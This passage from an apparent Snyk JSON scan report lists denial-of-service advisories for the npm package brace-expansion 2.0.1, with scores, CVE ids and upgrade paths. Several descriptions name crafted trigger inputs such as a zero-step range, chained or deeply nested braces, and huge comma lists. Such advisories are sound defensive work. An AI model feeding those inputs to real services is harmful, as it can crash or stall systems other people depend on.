"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's 